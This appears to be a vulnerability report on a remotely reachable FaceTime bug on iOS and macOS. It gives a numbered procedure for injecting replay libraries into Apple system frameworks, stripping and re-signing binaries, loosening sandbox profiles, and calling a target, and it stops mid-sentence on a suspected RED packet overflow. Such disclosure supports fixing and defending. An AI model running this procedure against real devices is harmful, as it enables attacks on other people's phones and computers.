This bug can be reached if a user accepts a call from a malicious caller. This issue only affects FaceTime on iOS and Mac. I tested on iOS 12.1.1 and Mac OS X 10.13.6.

To reproduce issue on a Mac:

1) Add the line:

	(subpath "/out")

to the (allow file-read* file-write* section of  /System/Library/Sandbox/Profiles/com.apple.avconferenced.sb 

2) Add the line:

	(allow file-read* file-write*
		(subpath "/out"))

to com.apple.identityservicesd.sb and restart the host


3) Compile video-replay-avc.cpp using:

	g++ -std=c++11 -g -dynamiclib -o librecord.so video-replay-avc.cpp

4) Copy the output lib, librecord.so to /usr/lib/libSP.so

5) Sign the library by calling:

	sudo codesign -f -s - /usr/lib/libSP.so

6) Compile video-replay-identity.cpp using:

	g++ -std=c++11 -g -dynamiclib -o librecord_IDS.so video-replay-identity.cpp

7) Copy the output lib, librecord_IDS.so to /usr/lib/libSP_IDS.so

8) Sign the library by calling:

	sudo codesign -f -s - /usr/lib/libSP_IDS.so

9) Download and build https://github.com/Tyilo/insert_dylib

10) Copy /System/Library/PrivateFrameworks/AVConference.framework/Versions/Current/AVConference to a local directory and run the command below.

	insert_dylib --strip-codesig /usr/lib/libSP.so AVConference

11) Copy AVConference_patched to /System/Library/PrivateFrameworks/AVConference.framework/Versions/Current/AVConference

12) Sign the binary by calling:

	sudo codesign -f -s - /System/Library/PrivateFrameworks/AVConference.framework/Versions/Current/AVConference

13) Copy /System/Library/PrivateFrameworks/IDSFoundation.framework/Versions/Current/IDSFoundation to a local directory and run the command below.

	insert_dylib --strip-codesig /usr/lib/libSP_IDS.so IDSFoundation

14) Run the following commands, quickly, in sequence:

	sudo cp IDSFoundation_patched /System/Library/PrivateFrameworks/IDSFoundation.framework/Versions/Current/IDSFoundation
	sudo codesign -f -s - /System/Library/PrivateFrameworks/IDSFoundation.framework/Versions/Current/IDSFoundation

NOTE: If you are too slow, the terminal may crash because it detects IDSFoundation is unsigned. If this happens, open up the terminal and try the codesign call again. The terminal usually stays open a second or two before it crashes.

15) Extract out.zip into /out and make it world readable

16) Kill the avconferenced and identityservicesd processes. They will restart automatically

17) Make a FaceTime call to the target.

I performed these steps on a MacBook Air running 10.14.1

Taking a second look at this, the root cause of this issue is probably an overflow in splitting RED pac
